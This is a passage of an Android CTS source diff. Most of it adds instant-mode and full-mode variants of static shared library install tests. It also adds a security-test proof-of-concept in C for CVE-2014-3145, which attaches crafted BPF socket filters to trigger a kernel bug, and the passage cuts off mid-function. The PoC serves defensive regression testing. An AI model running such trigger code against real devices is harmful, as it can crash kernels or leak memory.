- public void testCanReplaceLibraryIfVersionAndVersionCodeSame() throws Exception {
+ @AppModeInstant
+ public void testCanReplaceLibraryIfVersionAndVersionCodeSameInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestCanReplaceLibraryIfVersionAndVersionCodeSame();
+ }
+
+ @AppModeFull
+ public void testCanReplaceLibraryIfVersionAndVersionCodeSameFullMode() throws Exception {
+ doTestCanReplaceLibraryIfVersionAndVersionCodeSame();
+ }
+
+ private void doTestCanReplaceLibraryIfVersionAndVersionCodeSame() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install a library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Cannot install the library (need to reinstall)
- assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNotNull(install(STATIC_LIB_PROVIDER1_APK));
// Can reinstall the library if version and version code same
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
STATIC_LIB_PROVIDER1_APK), true, false));
@@ -266,19 +328,27 @@
}
}
- public void testUninstallSpecificLibraryVersion() throws Exception {
+ @AppModeInstant
+ public void testUninstallSpecificLibraryVersionInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestUninstallSpecificLibraryVersion();
+ }
+
+ @AppModeFull
+ public void testUninstallSpecificLibraryVersionFullMode() throws Exception {
+ doTestUninstallSpecificLibraryVersion();
+ }
+
+ private void doTestUninstallSpecificLibraryVersion() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install library version 1 with version code 1
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Install library version 2 with version code 4
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER2_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER2_APK));
// Uninstall the library package with version code 4 (version 2)
assertTrue(getDevice().executeShellCommand("pm uninstall --versionCode 4 "
+ STATIC_LIB_PROVIDER1_PKG).startsWith("Success"));
@@ -291,20 +361,28 @@
}
}
- public void testKeyRotation() throws Exception {
+ @AppModeInstant
+ public void testKeyRotationInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestKeyRotation();
+ }
+
+ @AppModeFull
+ public void testKeyRotationFullMode() throws Exception {
+ doTestKeyRotation();
+ }
+
+ private void doTestKeyRotation() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_CONSUMER2_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
try {
// Install a library version specifying an upgrade key set
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER2_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER2_APK));
// Install a newer library signed with the upgrade key set
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER4_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER4_APK));
// Install a client that depends on the upgraded key set
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER2_APK), false, false));
+ assertNull(install(STATIC_LIB_CONSUMER2_APK));
// Ensure code and resources can be loaded
runDeviceTests(STATIC_LIB_CONSUMER2_PKG,
"android.os.lib.consumer2.UseSharedLibraryTest",
@@ -316,20 +394,28 @@
}
}
- public void testCannotInstallIncorrectlySignedLibrary() throws Exception {
+ @AppModeInstant
+ public void testCannotInstallIncorrectlySignedLibraryInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestCannotInstallIncorrectlySignedLibrary();
+ }
+
+ @AppModeFull
+ public void testCannotInstallIncorrectlySignedLibraryFullMode() throws Exception {
+ doTestCannotInstallIncorrectlySignedLibrary();
+ }
+
+ private void doTestCannotInstallIncorrectlySignedLibrary() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install a library version not specifying an upgrade key set
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Shouldn't be able to install a newer version signed differently
- assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER4_APK), false, false));
+ assertNotNull(install(STATIC_LIB_PROVIDER4_APK));
} finally {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER4_PKG);
@@ -337,13 +423,23 @@
}
}
- public void testLibraryAndPackageNameCanMatch() throws Exception {
+ @AppModeInstant
+ public void testLibraryAndPackageNameCanMatchInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestLibraryAndPackageNameCanMatch();
+ }
+
+ @AppModeFull
+ public void testLibraryAndPackageNameCanMatchFullMode() throws Exception {
+ doTestLibraryAndPackageNameCanMatch();
+ }
+
+ private void doTestLibraryAndPackageNameCanMatch() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_PROVIDER5_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER6_PKG);
try {
// Install a library with same name as package should work.
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER5_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER5_APK));
// Install a library with same name as package should work.
assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
STATIC_LIB_PROVIDER6_APK), true, false));
@@ -353,7 +449,18 @@
}
}
- public void testGetSharedLibraries() throws Exception {
+ @AppModeInstant
+ public void testGetSharedLibrariesInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestGetSharedLibraries();
+ }
+
+ @AppModeFull
+ public void testGetSharedLibrariesFullMode() throws Exception {
+ doTestGetSharedLibraries();
+ }
+
+ private void doTestGetSharedLibraries() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_CONSUMER2_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
@@ -362,23 +469,17 @@
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install the first library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Install the second library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER2_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER2_APK));
// Install the third library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER4_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER4_APK));
// Install the first client
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER1_APK), false, false));
+ assertNull(install(STATIC_LIB_CONSUMER1_APK));
// Install the second client
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER2_APK), false, false));
+ assertNull(install(STATIC_LIB_CONSUMER2_APK));
// Ensure libraries are properly reported
runDeviceTests(STATIC_LIB_CONSUMER1_PKG,
"android.os.lib.consumer1.UseSharedLibraryTest",
@@ -393,24 +494,31 @@
}
}
- public void testAppCanSeeOnlyLibrariesItDependOn() throws Exception {
+ @AppModeInstant
+ public void testAppCanSeeOnlyLibrariesItDependOnInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestAppCanSeeOnlyLibrariesItDependOn();
+ }
+
+ @AppModeFull
+ public void testAppCanSeeOnlyLibrariesItDependOnFullMode() throws Exception {
+ doTestAppCanSeeOnlyLibrariesItDependOn();
+ }
+
+ private void doTestAppCanSeeOnlyLibrariesItDependOn() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_CONSUMER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER1_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER2_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER_RECURSIVE_PKG);
try {
// Install library dependency
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER_RECURSIVE_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER_RECURSIVE_APK));
// Install the first library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER1_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER1_APK));
// Install the second library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER2_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER2_APK));
// Install the client
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER1_APK), false, false));
+ assertNull(install(STATIC_LIB_CONSUMER1_APK));
// Ensure the client can see only the lib it depends on
runDeviceTests(STATIC_LIB_CONSUMER1_PKG,
"android.os.lib.consumer1.UseSharedLibraryTest",
@@ -423,16 +531,25 @@
}
}
- public void testLoadCodeFromNativeLib() throws Exception {
+ @AppModeInstant
+ public void testLoadCodeFromNativeLibInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestLoadCodeFromNativeLib();
+ }
+
+ @AppModeFull
+ public void testLoadCodeFromNativeLibFullMode() throws Exception {
+ doTestLoadCodeFromNativeLib();
+ }
+
+ private void doTestLoadCodeFromNativeLib() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_NATIVE_CONSUMER_PKG);
getDevice().uninstallPackage(STATIC_LIB_NATIVE_PROVIDER_PKG);
try {
// Install library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_NATIVE_PROVIDER_APK), false, false));
+ assertNull(install(STATIC_LIB_NATIVE_PROVIDER_APK));
// Install the library client
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_NATIVE_CONSUMER_APK), false, false));
+ assertNull(install(STATIC_LIB_NATIVE_CONSUMER_APK));
// Ensure the client can load native code from the library
runDeviceTests(STATIC_LIB_NATIVE_CONSUMER_PKG,
"android.os.lib.consumer.UseSharedLibraryTest",
@@ -443,28 +560,47 @@
}
}
- public void testLoadCodeFromNativeLibMultiArchViolation() throws Exception {
+ @AppModeInstant
+ public void testLoadCodeFromNativeLibMultiArchViolationInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestLoadCodeFromNativeLibMultiArchViolation();
+ }
+
+ @AppModeFull
+ public void testLoadCodeFromNativeLibMultiArchViolationFullMode() throws Exception {
+ doTestLoadCodeFromNativeLibMultiArchViolation();
+ }
+
+ private void doTestLoadCodeFromNativeLibMultiArchViolation() throws Exception {
getDevice().uninstallPackage(STATIC_LIB_NATIVE_PROVIDER_PKG1);
try {
// Cannot install the library with native code if not multi-arch
- assertNotNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_NATIVE_PROVIDER_APK1), false, false));
+ assertNotNull(install(STATIC_LIB_NATIVE_PROVIDER_APK1));
} finally {
getDevice().uninstallPackage(STATIC_LIB_NATIVE_PROVIDER_PKG1);
}
}
- public void testLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCerts()
+ @AppModeInstant
+ public void testLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCertsInstantMode() throws Exception {
+ mInstantMode = true;
+ doTestLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCerts();
+ }
+
+ @AppModeFull
+ public void testLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCertsFullMode() throws Exception {
+ doTestLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCerts();
+ }
+
+ private void doTestLoadCodeAndResourcesFromSharedLibrarySignedWithTwoCerts()
throws Exception {
getDevice().uninstallPackage(STATIC_LIB_CONSUMER3_PKG);
getDevice().uninstallPackage(STATIC_LIB_PROVIDER7_PKG);
try {
// Install the library
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_PROVIDER7_APK), false, false));
+ assertNull(install(STATIC_LIB_PROVIDER7_APK));
// Install the client
- assertNull(getDevice().installPackage(mBuildHelper.getTestFile(
- STATIC_LIB_CONSUMER3_APK), false, false));
+ assertNull(install(STATIC_LIB_CONSUMER3_APK));
// Try to load code and resources
runDeviceTests(STATIC_LIB_CONSUMER3_PKG,
"android.os.lib.consumer3.UseSharedLibraryTest",
@@ -506,4 +642,9 @@
throw new AssertionError(errorBuilder.toString());
}
}
+
+ private String install(String apk) throws DeviceNotAvailableException, FileNotFoundException {
+ return getDevice().installPackage(mBuildHelper.getTestFile(apk), false, false,
+ apk.contains("consumer") && mInstantMode ? "--instant" : "");
+ }
}
diff --git a/hostsidetests/os/test-apps/Android.mk b/hostsidetests/os/test-apps/Android.mk
index bd94fb5..0767e4b 100644
--- a/hostsidetests/os/test-apps/Android.mk
+++ b/hostsidetests/os/test-apps/Android.mk
@@ -17,7 +17,7 @@
include $(CLEAR_VARS)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
# Build the test APKs using their own makefiles
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
index d3edc43..e42804f 100644
--- a/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/Android.mk
@@ -26,6 +26,6 @@
LOCAL_PACKAGE_NAME := CtsHostProcfsTestApp
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/os/test-apps/ProcfsTestApp/AndroidManifest.xml b/hostsidetests/os/test-apps/ProcfsTestApp/AndroidManifest.xml
index 8a7463a..57453c6 100755
--- a/hostsidetests/os/test-apps/ProcfsTestApp/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/ProcfsTestApp/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.os.procfs">
+ package="android.os.procfs"
+ android:targetSandboxVersion="2">
<application>
<activity android:name=".ProcfsTest"
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
index a1550a6..52a2dfe 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
@@ -18,7 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.os.lib.consumer1"
android:versionCode="1"
- android:versionName="1.0">
+ android:versionName="1.0"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
index ae2527b..7ddb841 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
@@ -18,7 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.os.lib.consumer2"
android:versionCode="2"
- android:versionName="3.0">
+ android:versionName="3.0"
+ android:targetSandboxVersion="2">
<application>
<uses-static-library
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
index daddbc6..b156e6b 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
@@ -18,7 +18,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.os.lib.consumer3"
android:versionCode="2"
- android:versionName="3.0">
+ android:versionName="3.0"
+ android:targetSandboxVersion="2">
<application>
<uses-static-library
diff --git a/hostsidetests/sample/Android.mk b/hostsidetests/sample/Android.mk
index bc821ae..1b9bd44 100644
--- a/hostsidetests/sample/Android.mk
+++ b/hostsidetests/sample/Android.mk
@@ -21,12 +21,12 @@
LOCAL_MODULE_TAGS := tests
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_MODULE := CtsSampleHostTestCases
LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-include $(BUILD_HOST_JAVA_LIBRARY)
+include $(BUILD_CTS_HOST_JAVA_LIBRARY)
include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/sample/app/Android.mk b/hostsidetests/sample/app/Android.mk
index b3b6ad1..bc271b6 100644
--- a/hostsidetests/sample/app/Android.mk
+++ b/hostsidetests/sample/app/Android.mk
@@ -28,7 +28,7 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsSampleDeviceApp
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
index 845f51a..cec0078 100644
--- a/hostsidetests/sample/app2/Android.mk
+++ b/hostsidetests/sample/app2/Android.mk
@@ -30,10 +30,10 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_PACKAGE_NAME := CtsSampleDeviceApp2
LOCAL_SDK_VERSION := current
-include $(BUILD_PACKAGE)
+include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/sample/app2/AndroidManifest.xml b/hostsidetests/sample/app2/AndroidManifest.xml
index 7d65c30..3bbcf1f 100644
--- a/hostsidetests/sample/app2/AndroidManifest.xml
+++ b/hostsidetests/sample/app2/AndroidManifest.xml
@@ -16,8 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.sample.cts.app2">
-
+ package="android.sample.cts.app2"
+ android:targetSandboxVersion="2">
<application>
<uses-library android:name="android.test.runner" />
</application>
diff --git a/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
index 8299d479..918632e 100644
--- a/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
+++ b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
@@ -16,10 +16,8 @@
package android.sample.cts.app2;
-import org.junit.After;
import org.junit.Assert;
import org.junit.Assume;
-import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
diff --git a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
index 0fbf3b9..e8ae1f0 100644
--- a/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
+++ b/hostsidetests/sample/src/android/sample/cts/SampleHostJUnit4DeviceTest.java
@@ -16,6 +16,9 @@
package android.sample.cts;
+import android.platform.test.annotations.AppModeInstant;
+import android.platform.test.annotations.AppModeFull;
+
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -34,7 +37,6 @@
*/
@RunWith(DeviceJUnit4ClassRunner.class)
public class SampleHostJUnit4DeviceTest extends BaseHostJUnit4Test {
-
private static final String TEST_PKG = "android.sample.cts.app2";
private static final String TEST_CLASS = TEST_PKG + "." + "SampleDeviceTest";
private static final String TEST_APP = "CtsSampleDeviceApp2.apk";
@@ -45,21 +47,48 @@
@Before
public void setUp() throws Exception {
- installPackage(TEST_APP);
+ uninstallPackage(getDevice(), TEST_PKG);
}
@Test
- public void testRunDeviceTestsPasses() throws Exception {
+ @AppModeInstant
+ public void testRunDeviceTestsPassesInstant() throws Exception {
+ installPackage(true);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_PASSES));
+ }
+
+ @Test
+ @AppModeFull
+ public void testRunDeviceTestsPassesFull() throws Exception {
+ installPackage(false);
Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_PASSES));
}
@Test(expected=AssertionError.class)
- public void testRunDeviceTestsFails() throws Exception {
+ @AppModeInstant
+ public void testRunDeviceTestsFailsInstant() throws Exception {
+ installPackage(true);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_FAILS));
+ }
+
+ @Test(expected=AssertionError.class)
+ @AppModeFull
+ public void testRunDeviceTestsFailsFull() throws Exception {
+ installPackage(false);
Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_FAILS));
}
@Test
- public void testRunDeviceTestsAssumeFails() throws Exception {
+ @AppModeInstant
+ public void testRunDeviceTestsAssumeFailsInstant() throws Exception {
+ installPackage(true);
+ Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_ASSUME_FAILS));
+ }
+
+ @Test
+ @AppModeFull
+ public void testRunDeviceTestsAssumeFailsFull() throws Exception {
+ installPackage(false);
Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, TEST_ASSUME_FAILS));
}
@@ -68,4 +97,8 @@
uninstallPackage(getDevice(), TEST_PKG);
}
+ private void installPackage(boolean instant) throws Exception {
+ installPackage(TEST_APP, instant ? new String[]{"--instant"} : new String[0]);
+ }
+
}
diff --git a/hostsidetests/security/AndroidTest.xml b/hostsidetests/security/AndroidTest.xml
index 229bf11..43d9f45 100755
--- a/hostsidetests/security/AndroidTest.xml
+++ b/hostsidetests/security/AndroidTest.xml
@@ -50,6 +50,7 @@
<!-- Bulletin 2016-09 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2015-8839->/data/local/tmp/CVE-2015-8839" />
<option name="push" value="CVE-2016-2471->/data/local/tmp/CVE-2016-2471" />
<!--__________________-->
@@ -67,6 +68,7 @@
<!--__________________-->
<!-- Bulletin 2017-01 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2017-0386->/data/local/tmp/CVE-2017-0386" />
<!--__________________-->
<!-- Bulletin 2017-02 -->
@@ -84,6 +86,7 @@
<!--__________________-->
<!-- Bulletin 2017-04 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2014-3145->/data/local/tmp/CVE-2014-3145"/>
<option name="push" value="CVE-2017-0553->/data/local/tmp/CVE-2017-0553"/>
<!--__________________-->
@@ -97,6 +100,7 @@
<!--__________________-->
<!-- Bulletin 2017-07 -->
<!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+ <option name="push" value="CVE-2016-2109->/data/local/tmp/CVE-2016-2109"/>
<!--__________________-->
<!-- Bulletin 2017-08 -->
diff --git a/hostsidetests/security/res/cve_2016_3916.apk b/hostsidetests/security/res/cve_2016_3916.apk
new file mode 100644
index 0000000..96c6128
--- /dev/null
+++ b/hostsidetests/security/res/cve_2016_3916.apk
Binary files differ
diff --git a/tests/signature/api-check/hidden-api-whitelist/Android.mk b/hostsidetests/security/securityPatch/CVE-2014-3145/Android.mk
similarity index 60%
copy from tests/signature/api-check/hidden-api-whitelist/Android.mk
copy to hostsidetests/security/securityPatch/CVE-2014-3145/Android.mk
index e6ee38f..30cae16 100644
--- a/tests/signature/api-check/hidden-api-whitelist/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2014-3145/Android.mk
@@ -15,16 +15,16 @@
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := CtsHiddenApiWhitelistTestCases
-LOCAL_MODULE_TAGS := optional
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+LOCAL_MODULE := CVE-2014-3145
+LOCAL_SRC_FILES := poc.c
LOCAL_MULTILIB := both
-LOCAL_JNI_SHARED_LIBRARIES := libcts_dexchecker libclassdescriptors
-LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := cts-api-signature-test
+LOCAL_COMPATIBILITY_SUITE := cts vts sts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
-include $(BUILD_CTS_PACKAGE)
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS = -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2014-3145/poc.c b/hostsidetests/security/securityPatch/CVE-2014-3145/poc.c
new file mode 100644
index 0000000..852374f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2014-3145/poc.c
@@ -0,0 +1,137 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#define ARRAY_SIZE(__a) (sizeof(__a) / sizeof((__a)[0]))
+#include <errno.h>
+#include <linux/filter.h>
+#include <linux/netlink.h>
+#include <stdlib.h>
+#include <sys/socket.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+static struct sock_filter nlattr[] = {
+ { 0000, 0, 0, 0x87654321 },
+ { 0x01, 0, 0, 0x0000002a },
+ { 0x20, 0, 0, 0xfffff00c },
+ { 0x16, 0, 0, 0000000000 },
+};
+
+static struct sock_fprog bpf_nlattr = {
+ .len = ARRAY_SIZE(nlattr),
+ .filter = nlattr,
+};
+
+static struct sock_filter nlattr_nest[] = {
+ { 0000, 0, 0, 0x87654321 },
+ { 0x01, 0, 0, 0x0000002a },
+ { 0x20, 0, 0, 0xfffff010 },
+ { 0x16, 0, 0, 0000000000 },
+};
+
+static struct sock_fprog bpf_nlattr_nest = {
+ .len = ARRAY_SIZE(nlattr_nest),
+ .filter = nlattr_nest,
+};
+
+static struct sock_filter nest_rem[] = {
+ { 0000, 0, 0, 0000000000 },
+ { 0x01, 0, 0, 0x0000002a },
+ { 0x20, 0, 0, 0xfffff010 },
+ { 0x16, 0, 0, 0000000000 },
+};
+
+static struct sock_fprog bpf_nest_rem = {
+ .len = ARRAY_SIZE(nest_rem),
+ .filter = nest_rem,
+};
+
+static int send_receive_packet(int s[2], const void* pkt, int len)
+{
+ char tmp[1024];
+ ssize_t ret;
+
+ ret = send(s[1], pkt, len, 0);
+ if (ret != len) {
+ return -1;
+ }
+
+ ret = recv(s[0], tmp, len, MSG_DONTWAIT);
+ if (ret < 0 && errno == EAGAIN)
+ return 0;
+
+ return 1;
+}
+
+int main()
+{
+ struct nlattr chkrem[2] = {
+ [0] = {
+ .nla_len = 0xfff0,
+ .nla_type = 0,
+ },
+ [1] = {
+ .nla_len = sizeof(struct nlattr),
+ .nla_type = 42,
+ },
+ };
+ __u16 chksz = 0xfefe;
+ int s[2], ret;
+
+ ret = socketpair(AF_UNIX, SOCK_DGRAM, 0, s);
+ if (ret) {
+ return -1;
+ }
+
+ ret = setsockopt(s[0], SOL_SOCKET, SO_ATTACH_FILTER,
+ &bpf_nlattr, sizeof(bpf_nlattr));
+ if (ret < 0) {
